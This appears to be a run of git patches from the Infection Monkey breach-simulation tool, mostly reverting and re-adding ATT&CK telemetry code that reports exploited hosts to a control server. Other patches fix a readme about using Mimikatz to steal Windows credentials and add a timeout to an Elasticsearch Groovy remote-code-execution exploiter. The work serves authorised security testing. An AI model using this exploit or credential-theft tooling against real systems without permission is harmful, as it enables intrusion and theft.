4ed88ef95..c549bde1e 100644 --- a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py @@ -1,5 +1,4 @@ from infection_monkey.transport.attack_telems.base_telem import AttackTelem -from infection_monkey.config import GUID __author__ = "VakarisZ" @@ -14,7 +13,7 @@ class VictimHostTelem(AttackTelem): :param machine: VictimHost obj from model/host.py :param data: Other data relevant to the attack technique """ - super(VictimHostTelem, self).__init__(technique, status, data) + super(VictimHostTelem, self).__init__(technique, status, data, machine=False) victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr} if data: self.data.update(data) diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index 741d7c950..05d0cf807 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -2,9 +2,13 @@ import os import sys import shutil import struct +import socket from infection_monkey.config import WormConfiguration +LOCAL_IP = '127.0.0.1' +MOCK_IP = '10.255.255.255' + def get_monkey_log_path(): return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ @@ -32,6 +36,26 @@ def is_windows_os(): return sys.platform.startswith("win") +def get_host_info(): + return {'hostname': socket.gethostname(), 'ip': get_primary_ip()} + + +def get_primary_ip(): + """ + :return: Primary (default route) IP address + """ + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + # doesn't even have to be reachable + s.connect((MOCK_IP, 1)) + ip = s.getsockname()[0] + except: + ip = LOCAL_IP + finally: + s.close() + return ip + + def utf_to_ascii(string): # Converts utf string to ascii. Safe to use even if string is already ascii. udata = string.decode("utf-8") diff --git a/monkey/monkey_island/cc/resources/attack_telem.py b/monkey/monkey_island/cc/resources/attack_telem.py index 0dfa013e8..a206d21d0 100644 --- a/monkey/monkey_island/cc/resources/attack_telem.py +++ b/monkey/monkey_island/cc/resources/attack_telem.py @@ -1,7 +1,7 @@ import flask_restful from flask import request import json -from cc.services.attack.attack_telem import set_results +from cc.services.attack.attack_results import set_results import logging __author__ = 'VakarisZ' diff --git a/monkey/monkey_island/cc/services/attack/attack_telem.py b/monkey/monkey_island/cc/services/attack/attack_results.py similarity index 76% rename from monkey/monkey_island/cc/services/attack/attack_telem.py rename to monkey/monkey_island/cc/services/attack/attack_results.py index a55ab2f99..fb8b1cd82 100644 --- a/monkey/monkey_island/cc/services/attack/attack_telem.py +++ b/monkey/monkey_island/cc/services/attack/attack_results.py @@ -1,6 +1,3 @@ -""" -File that contains ATT&CK telemetry storing/retrieving logic -""" import logging from cc.database import mongo From ee0b6a042d92905b623a2e281a7cc850429cbbc1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Apr 2019 19:50:35 +0300 Subject: [PATCH 193/201] Revert "Files renamed to be more precise, typo in comment fixed." This reverts commit 11576c094200700b27615db635ab22a9d631f83b. --- .../transport/attack_telems/victim_host_telem.py | 2 +- monkey/monkey_island/cc/app.py | 4 ++-- .../monkey_island/cc/resources/{attack_telem.py => attack.py} | 4 ++-- .../monkey_island/cc/services/{attack => attck}/__init__.py | 0 .../cc/services/{attack => attck}/attack_results.py | 0 5 files changed, 5 insertions(+), 5 deletions(-) rename monkey/monkey_island/cc/resources/{attack_telem.py => attack.py} (82%) rename monkey/monkey_island/cc/services/{attack => attck}/__init__.py (100%) rename monkey/monkey_island/cc/services/{attack => attck}/attack_results.py (100%) diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py index c549bde1e..e70c03c2c 100644 --- a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py @@ -7,7 +7,7 @@ class VictimHostTelem(AttackTelem): def __init__(self, technique, status, machine, data=None): """ - ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data + ATT&CK telemetry that parses and sends VictimHost telemetry :param technique: Technique ID. E.g. T111 :param status: int from ScanStatus Enum :param machine: VictimHost obj from model/host.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index e8238185e..88d7c9f5d 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -30,7 +30,7 @@ from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService from cc.resources.pba_file_upload import FileUpload -from cc.resources.attack_telem import AttackTelem +from cc.resources.attack import Attack __author__ = 'Barak' @@ -124,6 +124,6 @@ def init_app(mongo_url): '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') - api.add_resource(AttackTelem, '/api/attack/') + api.add_resource(Attack, '/api/attack/') return app diff --git a/monkey/monkey_island/cc/resources/attack_telem.py b/monkey/monkey_island/cc/resources/attack.py similarity index 82% rename from monkey/monkey_island/cc/resources/attack_telem.py rename to monkey/monkey_island/cc/resources/attack.py index a206d21d0..681c54274 100644 --- a/monkey/monkey_island/cc/resources/attack_telem.py +++ b/monkey/monkey_island/cc/resources/attack.py @@ -1,7 +1,7 @@ import flask_restful from flask import request import json -from cc.services.attack.attack_results import set_results +from cc.services.attck.attack_results import set_results import logging __author__ = 'VakarisZ' @@ -9,7 +9,7 @@ __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) -class AttackTelem(flask_restful.Resource): +class Attack(flask_restful.Resource): """ ATT&CK endpoint used to retrieve matrix related info from monkey """ diff --git a/monkey/monkey_island/cc/services/attack/__init__.py b/monkey/monkey_island/cc/services/attck/__init__.py similarity index 100% rename from monkey/monkey_island/cc/services/attack/__init__.py rename to monkey/monkey_island/cc/services/attck/__init__.py diff --git a/monkey/monkey_island/cc/services/attack/attack_results.py b/monkey/monkey_island/cc/services/attck/attack_results.py similarity index 100% rename from monkey/monkey_island/cc/services/attack/attack_results.py rename to monkey/monkey_island/cc/services/attck/attack_results.py From 7e5aff1d21c5ec2ae253688061c497fa13b0ea17 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Apr 2019 19:51:20 +0300 Subject: [PATCH 194/201] Revert "Telemetry implemented" This reverts commit f36ff73c9e1fc56075b4eefc156288290298f6a7. --- monkey/infection_monkey/monkey.py | 4 --- .../transport/attack_telems/base_telem.py | 33 +++++-------------- .../attack_telems/victim_host_telem.py | 21 ------------ monkey/infection_monkey/utils.py | 24 -------------- monkey/monkey_island/cc/app.py | 2 -- monkey/monkey_island/cc/resources/attack.py | 22 ++++++------- .../cc/services/attck/__init__.py | 1 - .../cc/services/attck/attack_results.py | 11 ------- 8 files changed, 19 insertions(+), 99 deletions(-) delete mode 100644 monkey/infection_monkey/transport/attack_telems/victim_host_telem.py delete mode 100644 monkey/monkey_island/cc/services/attck/__init__.py delete mode 100644 monkey/monkey_island/cc/services/attck/attack_results.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 4d5d8f016..e80e15396 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,8 +17,6 @@ from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.transport.attack_telems.base_telem import ScanStatus -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem __author__ = 'itamar' @@ -181,11 +179,9 @@ class InfectionMonkey(object): for exploiter in [exploiter(machine) for exploiter in self._exploiters]: if self.try_exploiting(machine, exploiter): host_exploited = True - VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) - VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() if not self._keep_running: break diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py index f90a53256..ad1908e95 100644 --- a/monkey/infection_monkey/transport/attack_telems/base_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/base_telem.py @@ -1,10 +1,9 @@ from enum import Enum -from infection_monkey.config import WormConfiguration +from infection_monkey.config import WormConfiguration, GUID import requests import json from infection_monkey.control import ControlClient import logging -from infection_monkey.utils import get_host_info __author__ = "VakarisZ" @@ -22,35 +21,21 @@ class ScanStatus(Enum): class AttackTelem(object): - def __init__(self, technique, status, data=None, machine=False): - """ - Default ATT&CK telemetry constructor - :param technique: Technique ID. E.g. T111 - :param status: int from ScanStatus Enum - :param data: Other data relevant to the attack technique - :param machine: Boolean. Should we pass current machine's info or not - """ + def __init__(self, technique, status, data, machine=None): self.technique = technique self.result = status - self.data = {'status': status} - if data: - self.data.update(data) - if machine: - self.data.update({'machine': get_host_info()}) + self.data = {'machine': machine, 'status': status, 'monkey_guid': GUID} + self.data.update(data) def send(self): - """ - Sends telemetry to island - :return: - """ if not WormConfiguration.current_server: return try: - requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique), - data=json.dumps(self.data), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies) + reply = requests.post("https://%s/api/%s" % (WormConfiguration.current_server, self.technique), + data=json.dumps(self.data), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies) except Exception as exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py deleted file mode 100644 index e70c03c2c..000000000 --- a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py +++ /dev/null @@ -1,21 +0,0 @@ -from infection_monkey.transport.attack_telems.base_telem import AttackTelem - -__author__ = "VakarisZ" - - -class VictimHostTelem(AttackTelem): - - def __init__(self, technique, status, machine, data=None): - """ - ATT&CK telemetry that parses and sends VictimHost telemetry - :param technique: Technique ID. E.g. T111 - :param status: int from ScanStatus Enum - :param machine: VictimHost obj from model/host.py - :param data: Other data relevant to the attack technique - """ - super(VictimHostTelem, self).__init__(technique, status, data, machine=False) - victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr} - if data: - self.data.update(data) - if machine: - self.data.update({'machine': victim_host}) diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index 05d0cf807..741d7c950 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -2,13 +2,9 @@ import os import sys import shutil import struct -import socket from infection_monkey.config import WormConfiguration -LOCAL_IP = '127.0.0.1' -MOCK_IP = '10.255.255.255' - def get_monkey_log_path(): return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ @@ -36,26 +32,6 @@ def is_windows_os(): return sys.platform.startswith("win") -def get_host_info(): - return {'hostname': socket.gethostname(), 'ip': get_primary_ip()} - - -def get_primary_ip(): - """ - :return: Primary (default route) IP address - """ - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - try: - # doesn't even have to be reachable - s.connect((MOCK_IP, 1)) - ip = s.getsockname()[0] - except: - ip = LOCAL_IP - finally: - s.close() - return ip - - def utf_to_ascii(string): # Converts utf string to ascii. Safe to use even if string is already ascii. udata = string.decode("utf-8") diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 88d7c9f5d..d43930206 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -30,7 +30,6 @@ from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService from cc.resources.pba_file_upload import FileUpload -from cc.resources.attack import Attack __author__ = 'Barak' @@ -124,6 +123,5 @@ def init_app(mongo_url): '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') - api.add_resource(Attack, '/api/attack/') return app diff --git a/monkey/monkey_island/cc/resources/attack.py b/monkey/monkey_island/cc/resources/attack.py index 681c54274..457e6bfff 100644 --- a/monkey/monkey_island/cc/resources/attack.py +++ b/monkey/monkey_island/cc/resources/attack.py @@ -1,8 +1,11 @@ import flask_restful -from flask import request -import json -from cc.services.attck.attack_results import set_results +from flask import request, send_from_directory, Response +from cc.services.config import ConfigService, PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR +from cc.auth import jwt_required +import os +from werkzeug.utils import secure_filename import logging +import copy __author__ = 'VakarisZ' @@ -11,14 +14,9 @@ LOG = logging.getLogger(__name__) class Attack(flask_restful.Resource): """ - ATT&CK endpoint used to retrieve matrix related info from monkey + ATT&CK endpoint used to retrieve matrix related info """ - def post(self, technique): - """ - Gets ATT&CK telemetry data and stores it in the database - :param technique: Technique ID, e.g. T1111 - """ - data = json.loads(request.data) - set_results(technique, data) - return {} + @jwt_required() + def post(self, attack_type): + diff --git a/monkey/monkey_island/cc/services/attck/__init__.py b/monkey/monkey_island/cc/services/attck/__init__.py deleted file mode 100644 index 98867ed4d..000000000 --- a/monkey/monkey_island/cc/services/attck/__init__.py +++ /dev/null @@ -1 +0,0 @@ -__author__ = 'VakarisZ' diff --git a/monkey/monkey_island/cc/services/attck/attack_results.py b/monkey/monkey_island/cc/services/attck/attack_results.py deleted file mode 100644 index fb8b1cd82..000000000 --- a/monkey/monkey_island/cc/services/attck/attack_results.py +++ /dev/null @@ -1,11 +0,0 @@ -import logging -from cc.database import mongo - -__author__ = "VakarisZ" - -logger = logging.getLogger(__name__) - - -def set_results(technique, data): - data.update({'technique': technique}) - mongo.db.attack_results.insert(data) From 4b3bcd114b492fd290d5a03b1285270ce732a82b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Apr 2019 20:09:54 +0300 Subject: [PATCH 195/201] Revert "Telemetry implementation started" This reverts commit 98814b4963cd8581d61bb84f6a9c69158c5d9b84. --- .../transport/attack_telems/__init__.py | 1 - .../transport/attack_telems/base_telem.py | 41 ------------------- monkey/monkey_island/cc/resources/attack.py | 22 ---------- 3 files changed, 64 deletions(-) delete mode 100644 monkey/infection_monkey/transport/attack_telems/__init__.py delete mode 100644 monkey/infection_monkey/transport/attack_telems/base_telem.py delete mode 100644 monkey/monkey_island/cc/resources/attack.py diff --git a/monkey/infection_monkey/transport/attack_telems/__init__.py b/monkey/infection_monkey/transport/attack_telems/__init__.py deleted file mode 100644 index 98867ed4d..000000000 --- a/monkey/infection_monkey/transport/attack_telems/__init__.py +++ /dev/null @@ -1 +0,0 @@ -__author__ = 'VakarisZ' diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py deleted file mode 100644 index ad1908e95..000000000 --- a/monkey/infection_monkey/transport/attack_telems/base_telem.py +++ /dev/null @@ -1,41 +0,0 @@ -from enum import Enum -from infection_monkey.config import WormConfiguration, GUID -import requests -import json -from infection_monkey.control import ControlClient -import logging - -__author__ = "VakarisZ" - -LOG = logging.getLogger(__name__) - - -class ScanStatus(Enum): - # Technique wasn't scanned - UNSCANNED = 0 - # Technique was attempted/scanned - SCANNED = 1 - # Technique was attempted and succeeded - USED = 2 - - -class AttackTelem(object): - - def __init__(self, technique, status, data, machine=None): - self.technique = technique - self.result = status - self.data = {'machine': machine, 'status': status, 'monkey_guid': GUID} - self.data.update(data) - - def send(self): - if not WormConfiguration.current_server: - return - try: - reply = requests.post("https://%s/api/%s" % (WormConfiguration.current_server, self.technique), - data=json.dumps(self.data), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies) - except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) diff --git a/monkey/monkey_island/cc/resources/attack.py b/monkey/monkey_island/cc/resources/attack.py deleted file mode 100644 index 457e6bfff..000000000 --- a/monkey/monkey_island/cc/resources/attack.py +++ /dev/null @@ -1,22 +0,0 @@ -import flask_restful -from flask import request, send_from_directory, Response -from cc.services.config import ConfigService, PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR -from cc.auth import jwt_required -import os -from werkzeug.utils import secure_filename -import logging -import copy - -__author__ = 'VakarisZ' - -LOG = logging.getLogger(__name__) - - -class Attack(flask_restful.Resource): - """ - ATT&CK endpoint used to retrieve matrix related info - """ - - @jwt_required() - def post(self, attack_type): - From 80266f537d7d6746b92592868b10e421c9657ef2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Apr 2019 09:30:41 +0300 Subject: [PATCH 196/201] Documented set_results method --- .../cc/services/attack/attack_telem.py | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 monkey/monkey_island/cc/services/attack/attack_telem.py diff --git a/monkey/monkey_island/cc/services/attack/attack_telem.py b/monkey/monkey_island/cc/services/attack/attack_telem.py new file mode 100644 index 000000000..295100c23 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack_telem.py @@ -0,0 +1,19 @@ +""" +File that contains ATT&CK telemetry storing/retrieving logic +""" +import logging +from cc.database import mongo + +__author__ = "VakarisZ" + +logger = logging.getLogger(__name__) + + +def set_results(technique, data): + """ + Adds ATT&CK technique results(telemetry) to the database + :param technique: technique ID string e.g. T1110 + :param data: Data, relevant to the technique + """ + data.update({'technique': technique}) + mongo.db.attack_results.insert(data) From 2e2b77226dc7a40627fcc99fa6ae36f1af15ac44 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Apr 2019 09:58:46 +0300 Subject: [PATCH 197/201] Added reverted telemetry files --- monkey/infection_monkey/monkey.py | 4 ++ .../transport/attack_telems/__init__.py | 1 + .../transport/attack_telems/base_telem.py | 51 +++++++++++++++++++ .../attack_telems/victim_host_telem.py | 21 ++++++++ monkey/monkey_island/cc/app.py | 2 + .../cc/resources/attack_telem.py | 24 +++++++++ .../cc/services/attack/__init__.py | 1 + 7 files changed, 104 insertions(+) create mode 100644 monkey/infection_monkey/transport/attack_telems/__init__.py create mode 100644 monkey/infection_monkey/transport/attack_telems/base_telem.py create mode 100644 monkey/infection_monkey/transport/attack_telems/victim_host_telem.py create mode 100644 monkey/monkey_island/cc/resources/attack_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/__init__.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e80e15396..4d5d8f016 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,6 +17,8 @@ from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach +from infection_monkey.transport.attack_telems.base_telem import ScanStatus +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem __author__ = 'itamar' @@ -179,9 +181,11 @@ class InfectionMonkey(object): for exploiter in [exploiter(machine) for exploiter in self._exploiters]: if self.try_exploiting(machine, exploiter): host_exploited = True + VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) + VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() if not self._keep_running: break diff --git a/monkey/infection_monkey/transport/attack_telems/__init__.py b/monkey/infection_monkey/transport/attack_telems/__init__.py new file mode 100644 index 000000000..98867ed4d --- /dev/null +++ b/monkey/infection_monkey/transport/attack_telems/__init__.py @@ -0,0 +1 @@ +__author__ = 'VakarisZ' diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py new file mode 100644 index 000000000..054927a0d --- /dev/null +++ b/monkey/infection_monkey/transport/attack_telems/base_telem.py @@ -0,0 +1,51 @@ +from enum import Enum +from infection_monkey.config import WormConfiguration, GUID +import requests +import json +from infection_monkey.control import ControlClient +import logging + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) + + +class ScanStatus(Enum): + # Technique wasn't scanned + UNSCANNED = 0 + # Technique was attempted/scanned + SCANNED = 1 + # Technique was attempted and succeeded + USED = 2 + + +class AttackTelem(object): + + def __init__(self, technique, status, data=None): + """ + Default ATT&CK telemetry constructor + :param technique: Technique ID. E.g. T111 + :param status: int from ScanStatus Enum + :param data: Other data relevant to the attack technique + """ + self.technique = technique + self.result = status + self.data = {'status': status, 'id': GUID} + if data: + self.data.update(data) + + def send(self): + """ + Sends telemetry to island + """ + if not WormConfiguration.current_server: + return + try: + requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique), + data=json.dumps(self.data), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies) + except Exception as exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py new file mode 100644 index 000000000..0782c2dfd --- /dev/null +++ b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py @@ -0,0 +1,21 @@ +from infection_monkey.transport.attack_telems.base_telem import AttackTelem + +__author__ = "VakarisZ" + + +class VictimHostTelem(AttackTelem): + + def __init__(self, technique, status, machine, data=None): + """ + ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data + :param technique: Technique ID. E.g. T111 + :param status: int from ScanStatus Enum + :param machine: VictimHost obj from model/host.py + :param data: Other data relevant to the attack technique + """ + super(VictimHostTelem, self).__init__(technique, status, data) + victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr} + if data: + self.data.update(data) + if machine: + self.data.update({'machine': victim_host}) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index d43930206..e8238185e 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -30,6 +30,7 @@ from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService from cc.resources.pba_file_upload import FileUpload +from cc.resources.attack_telem import AttackTelem __author__ = 'Barak' @@ -123,5 +124,6 @@ def init_app(mongo_url): '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') + api.add_resource(AttackTelem, '/api/attack/') return app diff --git a/monkey/monkey_island/cc/resources/attack_telem.py b/monkey/monkey_island/cc/resources/attack_telem.py new file mode 100644 index 000000000..0dfa013e8 --- /dev/null +++ b/monkey/monkey_island/cc/resources/attack_telem.py @@ -0,0 +1,24 @@ +import flask_restful +from flask import request +import json +from cc.services.attack.attack_telem import set_results +import logging + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + + +class AttackTelem(flask_restful.Resource): + """ + ATT&CK endpoint used to retrieve matrix related info from monkey + """ + + def post(self, technique): + """ + Gets ATT&CK telemetry data and stores it in the database + :param technique: Technique ID, e.g. T1111 + """ + data = json.loads(request.data) + set_results(technique, data) + return {} diff --git a/monkey/monkey_island/cc/services/attack/__init__.py b/monkey/monkey_island/cc/services/attack/__init__.py new file mode 100644 index 000000000..98867ed4d --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/__init__.py @@ -0,0 +1 @@ +__author__ = 'VakarisZ' From 77b14177c5f215580f80be9c453b6248b7a5f5be Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Apr 2019 11:08:56 +0300 Subject: [PATCH 198/201] Moved attack scan status enum to common --- monkey/common/utils/attack_status_enum.py | 10 ++++++++++ monkey/infection_monkey/monkey.py | 2 +- .../transport/attack_telems/base_telem.py | 10 ---------- 3 files changed, 11 insertions(+), 11 deletions(-) create mode 100644 monkey/common/utils/attack_status_enum.py diff --git a/monkey/common/utils/attack_status_enum.py b/monkey/common/utils/attack_status_enum.py new file mode 100644 index 000000000..c7d2dc62c --- /dev/null +++ b/monkey/common/utils/attack_status_enum.py @@ -0,0 +1,10 @@ +from enum import Enum + + +class ScanStatus(Enum): + # Technique wasn't scanned + UNSCANNED = 0 + # Technique was attempted/scanned + SCANNED = 1 + # Technique was attempted and succeeded + USED = 2 diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 4d5d8f016..841a5521d 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,7 +17,7 @@ from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.transport.attack_telems.base_telem import ScanStatus +from common.utils.attack_status_enum import ScanStatus from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem __author__ = 'itamar' diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py index 054927a0d..9d0275356 100644 --- a/monkey/infection_monkey/transport/attack_telems/base_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/base_telem.py @@ -1,4 +1,3 @@ -from enum import Enum from infection_monkey.config import WormConfiguration, GUID import requests import json @@ -10,15 +9,6 @@ __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -class ScanStatus(Enum): - # Technique wasn't scanned - UNSCANNED = 0 - # Technique was attempted/scanned - SCANNED = 1 - # Technique was attempted and succeeded - USED = 2 - - class AttackTelem(object): def __init__(self, technique, status, data=None): From 4ee8b650c8c7c738d630819b4196e3881a5848b3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Apr 2019 14:54:20 +0300 Subject: [PATCH 199/201] Removed redundant code in VictimHostTelem --- .../transport/attack_telems/victim_host_telem.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py index 0782c2dfd..ecab5a648 100644 --- a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py @@ -15,7 +15,4 @@ class VictimHostTelem(AttackTelem): """ super(VictimHostTelem, self).__init__(technique, status, data) victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr} - if data: - self.data.update(data) - if machine: - self.data.update({'machine': victim_host}) + self.data.update({'machine': victim_host}) From 88b114d8100b116411dbec5d6fe83b66c8458edb Mon Sep 17 00:00:00 2001 From: VakarisZ <36815064+VakarisZ@users.noreply.github.com> Date: Tue, 9 Apr 2019 10:47:48 +0300 Subject: [PATCH 200/201] Fixed typo's in monkey's readme.txt --- monkey/infection_monkey/readme.txt | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index ab126f9c1..0b56da2f7 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -72,8 +72,7 @@ b. Download our pre-built sambacry binaries -- Mimikatz -- -Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from -You can either build them yourself or download pre-built binaries. +Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository. a. Build Mimikatz yourself a.0. Building mimikatz requires Visual Studio 2013 and up a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0 @@ -84,7 +83,7 @@ a. Build Mimikatz yourself a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly. a.3.4. Zipping with 7zip has been tested. Other zipping software may not work. -b. Download our pre-built traceroute binaries +b. Download our pre-built mimikatz binaries b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0 b.2. Place them under [code location]\infection_monkey\bin From 1eb2ea12ec67b2d9237599bba83efed1e0747c2d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 9 Apr 2019 11:29:34 +0300 Subject: [PATCH 201/201] Added request timeout --- monkey/infection_monkey/exploit/elasticgroovy.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 2de001ba3..faa6681b4 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,8 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX +from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ + DOWNLOAD_TIMEOUT from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE import re @@ -47,7 +48,11 @@ class ElasticGroovyExploiter(WebRCE): def exploit(self, url, command): command = re.sub(r"\\", r"\\\\\\\\", command) payload = self.JAVA_CMD % command - response = requests.get(url, data=payload) + try: + response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT) + except requests.ReadTimeout: + LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.") + return False result = self.get_results(response) if not result: return False @@ -79,4 +84,4 @@ class ElasticGroovyExploiter(WebRCE): return False except Exception as e: LOG.error("Host's exploitability check failed due to: %s" % e) - return False \ No newline at end of file + return False